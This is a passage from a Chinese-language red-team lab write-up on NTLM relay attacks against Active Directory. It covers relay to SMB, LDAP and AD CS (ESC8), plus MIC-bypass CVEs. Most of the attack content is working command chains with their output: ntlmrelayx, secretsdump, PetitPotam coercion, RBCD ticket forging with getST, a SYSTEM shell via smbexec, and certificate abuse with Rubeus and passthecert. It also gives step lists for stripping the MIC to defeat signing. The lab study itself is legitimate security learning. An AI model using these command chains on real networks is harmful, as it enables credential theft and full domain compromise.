impacket-ntlmrelayx -t smb://<target> --no-http-server --no-wcf-server --no-raw-server -smb2support -socks
proxychains impacket-secretsdump test.com/[email protected]

对目标机器有管理权限的账户(域管)对kali发起请求

C:\Users\Administrator\Desktop>net use \\192.168.100.133
发生系统错误 58。

指定的服务器无法运行请求的操作。

kali realy 到域内win7,命令执行

image-20250831232837026

无管理权限用户发起请求情况:

# 普通域用户
└─$ impacket-ntlmrelayx -t smb://192.168.100.130 --no-http-server --no-wcf-server --no-raw-server -smb2support -c hostname
...
[*] Setting up SMB Server on port 445
[*] Multirelay disabled

[*] Servers started, waiting for connections
[*] SMBD-Thread-2 (process_request_thread): Received connection from 192.168.100.131, attacking target smb://192.168.100.130
[*] Authenticating against smb://192.168.100.130 as TEST.COM/TOM SUCCEED
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] All targets processed!

# 2019 本地管理员
└─$ impacket-ntlmrelayx -t smb://192.168.100.130 --no-http-server --no-wcf-server --no-raw-server -smb2support -c hostname
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
...
[*] Setting up SMB Server on port 445
[*] Multirelay disabled

[*] Servers started, waiting for connections
[*] SMBD-Thread-2 (process_request_thread): Received connection from 192.168.100.131, attacking target smb://192.168.100.130
[-] Authenticating against smb://192.168.100.130 as MSSQL/ADMINISTRATOR FAILED

Relay2LDAP

LDAP利用方式就很多,而且可以很好的搭配强制认证(机器用户也是域内用户),其利用方式大概如下:

  • 域内信息收集

  • 高权限用户组拉任意用户进组

  • acl权限操纵

  • 配置RBCD

  • shadow credentials 权限维持

  • 创建用户

# ntlmrelayx 关于LDAP
LDAP client options:
--no-dump Do not attempt to dump LDAP information
--no-da Do not attempt to add a Domain Admin
--no-acl Disable ACL attacks
--no-validate-privs Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks
--escalate-user ESCALATE_USER
Escalate privileges of this user instead of creating a new one
--delegate-access Delegate access on relayed computer account to the specified account
--sid Use a SID to delegate access rather than an account name
--dump-laps Attempt to dump any LAPS passwords readable by the user
--dump-gmsa Attempt to dump any gMSA passwords readable by the user
--dump-adcs Attempt to dump ADCS enrollment services and certificate templates info
--add-dns-record NAME IPADDR
Add the <NAME> record to DNS via LDAP pointing to <IPADDR>
--add-computer [COMPUTERNAME [PASSWORD ...]]
Attempt to add a new computer account via SMB or LDAP, depending on the specified target. This argument can be used either with the LDAP or the SMB service, as long as the target is a domain controller.

域内信息收集(实验环境没有HTTP,因此采用 强制认证 + CVE-2019-1040 来忽略SMB到LDAP的签名问题)

impacket-ntlmrelayx -t ldap://<DC> --no-http-server --no-wcf-server --no-raw-server -smb2support --no-da --no-acl --no-validate-privs --remove-mic

image-20250901013522112

image-20250901013559710


高权限用户组拉任意用户进组(实验环境没有HTTP,因此采用 CVE-2019-1040 来忽略SMB到LDAP的签名问题)

如果发起NTLM的用户在以下用户组,那么就可以将任意用户拉进该组,从而使该用户变为高权限用户

  • Enterprise admins
  • Domain admins
  • Built-in Administrators
  • Backup operators
  • Account operators
impacket-ntlmrelayx -t ldap://<DC> --no-http-server --no-wcf-server --no-raw-server -smb2support --remove-mic --no-dump --no-acl --escalate-user zhangsan

image-20250902223511383

image-20250902223546989


ACL权限操纵

关于ACL的提权利用:如果发起者有 Write-ACL权限,那么就可以在以下两条ACE中添加任意用户,从而使得被添加用户可以具备 dcsync 的权限。

  • DS-Replication-GetChanges(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)

  • DS-Replication-Get-Changes-All(GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

常见利用:

  • 强制Exchange认证:Exchange机器用户Exchange Trusted Subsystem Group 中,该Group在 Exchange Windows Permissions 中,这两个Group具有Write-ACL权限!
  • 强制认证方式可以有:CVE-2018-8581(PrivExchange)、PetitPotam等
# --no-validate-privs 添加选项则只进行ACL attack
impacket-ntlmrelayx -t ldap://<DC> --no-http-server --no-wcf-server --no-raw-server -smb2support --remove-mic --no-dump --no-validate-privs --escalate-user zhangsan

关于以上两种攻击,简单分析下ntlmrelayx源码。通过选项配置LDAP

image-20250902012234066

在 ldapattack.py 的 run() 中,首先检查发起relay用户的权限,检查三种:创建用户、高权限组、修改ACL权限

image-20250902012440820

如果权限、选项参数通过,尝试ACL攻击,为 --escalate-user 指定的用户或者新创建用户添加ACE权限

image-20250902012727180

image-20250902012845542

接下来权限、选项参数通过,尝试高权限组用户攻击

image-20250902012953714

添加用户到高权限组中

image-20250902013324023


配置RBCD(采用 CVE-2019-1040 来忽略SMB到LDAP的签名问题)

这一块看了《Kerberos委派攻击》就比较熟悉了,通过 Relay + 通过LDAP配置RBCD属性 实现域内提权、横向移动

本地实验1:通过 匿名强制认证 + Relay 添加机器账户并添加委派,实现 无域内凭证横向到域内机器 - 失败

PetitPotam 在2008、2012低版本环境下可无需用户匿名触发

impacket-ntlmrelayx -t ldap://<DC> --no-http-server --no-wcf-server --no-raw-server -smb2support --remove-mic --no-dump --no-da --no-acl --no-validate-privs --delegate-access

报错原因:某些类型的操作(查找敏感属性<托管账户的密码>、某些修改操作<创建机器账户>)需要加密连接(使用 TLS 或 LDAP 封装),解决:通过HTTP relay,使用 StartTLS 绕过 LDAP 通道绑定^4

[*] Servers started, waiting for connections
[*] SMBD-Thread-2 (process_request_thread): Received connection from 192.168.100.130, attacking target ldap://192.168.100.128
[*] Authenticating against ldap://192.168.100.128 as TEST/WIN7$ SUCCEED
[*] Assuming relayed user has privileges to escalate a user via ACL attack
[*] Adding a machine account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS
Exception in thread Thread-3:
Traceback (most recent call last):
File "/usr/lib/python3.11/threading.py", line 1045, in _bootstrap_inner
self.run()
File "/usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/ldapattack.py", line 1119, in run
self.addComputer(computerscontainer, domainDumper)
File "/usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/ldapattack.py", line 139, in addComputer
if not self.client.start_tls():
^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/ldap3/core/connection.py", line 1314, in start_tls
if self.server.tls.start_tls(self) and self.strategy.sync: # for asynchronous connections _start_tls is run by the strategy
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/ldap3/core/tls.py", line 277, in start_tls
raise LDAPStartTLSError(connection.last_error)
ldap3.core.exceptions.LDAPStartTLSError: startTLS failed - unavailable

本地实验2:通过 强制认证 + Relay 添加机器账户并添加委派,实现横向到域内机器win7

# 添加机器用户
$ impacket-addcomputer -computer-name 'TEST' -computer-pass 123456 -dc-host DC-1.test.com -dc-ip 192.168.100.128 test.com/tom:Ab123456
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account TEST$ with password 123456.

# Relay
$ impacket-ntlmrelayx -t ldap://192.168.100.128 --no-http-server --no-wcf-server --no-raw-server -smb2support --remove-mic --no-dump --no-da --no-acl --no-validate-privs --delegate-access --escalate-user 'TEST$'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Multirelay disabled

[*] Servers started, waiting for connections
[*] SMBD-Thread-2 (process_request_thread): Received connection from 192.168.100.130, attacking target ldap://192.168.100.128
[*] Authenticating against ldap://192.168.100.128 as TEST/WIN7$ SUCCEED
[*] Assuming relayed user has privileges to escalate a user via ACL attack
[*] Delegation rights modified succesfully!
[*] TEST$ can now impersonate users on WIN7$ via S4U2Proxy

# 申请 ST
$ impacket-getST -dc-ip 192.168.100.128 -spn cifs/win7.test.com -impersonate Administrator test.com/'TEST$':123456
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]

# PTT
$ export KRB5CCNAME=Administrator@[email protected]
$ impacket-smbexec -dc-ip 192.168.100.128 -k -no-pass [email protected]
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>hostname
win7

C:\Windows\system32>whoami
nt authority\system

Shadow Credentials

Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover

Relay2ADCS

ADCS中的Relay称为ESC8,原理为:ADCS的http证书接口允许通过NTLM身份验证,未但是启用NTLM中继保护,因此攻击者可以利用NTLM Relay攻击ADCS证书服务。攻击者可以在一个默认安装了证书web服务的域环境中,使用普通用户凭据,直接获取到域管权限。

定位CA

certutil.exe
certutil.exe -ca

image-20250903022636631

探测CA的http

curl http://ca.purple.lab/certsrv/ -I

image-20250903022847139

ntlmrelayx监听

impacket-ntlmrelayx -t http://ca.purple.lab/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

强制域控认证

impacket-PetitPotam -d purple.lab -u pentestlab -p Password1234 <attack> <DC>

会获得DC的Base64格式的证书

image-20250903023606370

通过Rubeus导入证书,申请票据

Rubeus.exe asktgt /user:DC$ /certificate:<base64-certificate> /ptt

image-20250903023915267

或者使用impacket

# 支持 PKINIT 协议
cat base64.txt | base64 -d > dc01.pfx
python3 gettgtpkinit.py -cert-pfx dc01.pfx hack.lab/DC01$ dc01.ccache
export KRB5CCNAME=dc01.ccache

# 不支持 PKINIT 协议
// 提取密钥与证书
certipy cert -pfx NoPKI02.pfx -nokey -out NoPKI02.crt
certipy cert -pfx NoPKI02.pfx -nocert -out NoPKI02.key
// 创建机器用户
python3 passthecert.py -action add_computer -crt NoPKI02.crt -key NoPKI02.key -domain hack.lab -dc-ip 20.20.20.5 -computer-name NoPKI02$ -computer-pass 123.com
// 配置域控RBCD
python3 passthecert.py -action write_rbcd -crt NoPKI02.crt -key NoPKI02.key -domain hack.lab -dc-ip 20.20.20.5 -delegate-from NoPKI02$ -delegate-to DC01$
// PTT
python3 getST.py -spn cifs/DC01.hack.lab -impersonate administrator hack.lab/NoPKI02\$:123.com -dc-ip 20.20.20.5
export KRB5CCNAME=...

Relay2EWS

Exchange 的认证也是支持NTLM SSP的。可以relay,从而收发邮件,代理等等。工具:https://github.com/Arno0x/NtlmRelayToEWS

CVE

在Relay的攻击中,关于签名完整性的CVE绝对是至关重要的,如果能够无视签名完整性的保护,能大大扩宽攻击路径

  • CVE-2015-0005
  • 删除 MIC(CVE-2019-1040)
  • 窃取会话密钥(CVE-2019-1019)
  • 删除 MIC 2(CVE-2019-1166)
  • CVE-2019-1338

CVE-2015-0005

域环境下,认证服务器会通过NETLOGON把type 1,type 2,type 3全部发给域控,通过认证后证服务器就会通过NETLOGON去找域控索要key_exchange_key,该漏洞为:不是只有认证服务器才能找域控索要key_exchange_key,只要是机器用户来索要key_exchange_key,域控都会给,并没有做鉴权。

影响范围:Windows Server 2003 - Windows Server 2012 R2

在smbrelayx.py中可完成攻击,不过在impacket_0.11版本中被移除

CVE-2019-1040

作用:绕过mic,无视签名,直接中继

原理:无需篡改 msvAvFlag 字段即可从消息中删除 MIC 的方法,只需将其与版本字段以及一些其他协商标志一起从消息中删除

1. 取消设置NTLM_NEGOTIATE消息中的签名标志(NTLMSSP_NEGOTIATE_ALWAYS_SIGN,NTLMSSP_NEGOTIATE_SIGN)
2. 从NTLM_AUTHENTICATE消息中删除MIC
3. 从NTLM_AUTHENTICATE消息中删除版本字段(删除MIC字段而不删除版本字段将导致错误)
4. 取消设置NTLM_AUTHENTICATE消息中的以下标志:NTLMSSP_NEGOTIATE_ALWAYS_SIGN,NTLMSSP_NEGOTIATE_SIGN,NEGOTIATE_KEY_EXCHANGE,NEGOTIATE_VERSION

影响范围:< Windows Server 2019、Windows 10

补丁:KB4503267、KB4503294

CVE-2019-1019

应用场景:HTTP -> SMB,impacket中使用^5

./ntlmrelayx.py -machine-account domain/machineAccountName -machine-hashes LM:NT -domain DOMAIN -t targetIP -remove-target -smb2support

CVE-2019-1166

作用:还是绕过mic,无视签名,直接中继

原理:诱使服务器误认为该消息不包含 MIC,从而允许我们修改 NTLM 身份验证流程的任何阶段

1. 取消设置 NTLM_NEGOTIATE 消息中的签名标志(NTLMSSP_NEGOTIATE_ALWAYS_SIGN、NTLMSSP_NEGOTIATE_SIGN)
2. 在 NTLM_CHALLENGE 消息中注入一个恶意的 msvAvFlag 字段,其值为零
3. 从 NTLM_AUTHENTICATE 消息中删除 MIC
4. 取消设置 NTLM_AUTHENTICATE 消息中的以下标志:NTLMSSP_NEGOTIATE_ALWAYS_SIGN、NTLMSSP_NEGOTIATE_SIGN、NEGOTIATE_KEY_EXCHANGE、NEGOTIATE_VERSION

NTLM Reflect

NTLM 反射到自身,其实作用就是提权,大部分关于土豆系列,后续再单独写土豆吧

  • CVE-2025-33073
  • 土豆提权

参考

NTLM:

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/760a9788-bd32-4d9e-87ad-2aa5970786ac

https://davenport.sourceforge.net/ntlm.htm

Downgrade:

NetNTLMv1 Downgrade to compromise

NTLMv1 vs NTLMv2: Digging into an NTLM Downgrade Attack

Windows下的密码hash-Net-NTLMv1介绍

关于NTLM 降级攻击的点点研究

NTLM 降级攻击技巧

https://github.com/eladshamir/Internal-Monologue

NTLM Downgrade Attack: Internal Monologue

PTH:

深入研究Pass-the-Hash攻击与防御

CVE:

CVE-2015-0005

CVE-2019-1040

CVE-2019-1166

CVE-2019-1019

Relay:

NTLM Relay

windows-protocol-NTLM 篇

【域渗透】浅淡NTLM(内网小白的NTLM学习笔记)

一文详解Ntlm Relay

红队域渗透NTLM Relay:强制认证方式总结

360 A-TEAM 带你走进 NTLM-Relay

域渗透|Relay

https://www.raingray.com/archives/2474.html

https://github.com/fortra/impacket/pull/1305

https://github.com/SecureAuthCorp/impacket/pull/635

Relay Attack:

How to Exploit Active Directory ACL Attack Paths Through LDAP Relaying Attacks

红队域渗透NTLM Relay:中继后攻击思路总结

PetitPotam – NTLM Relay to AD CS

ADCS小结

Escalating privileges with ACLs in Active Directory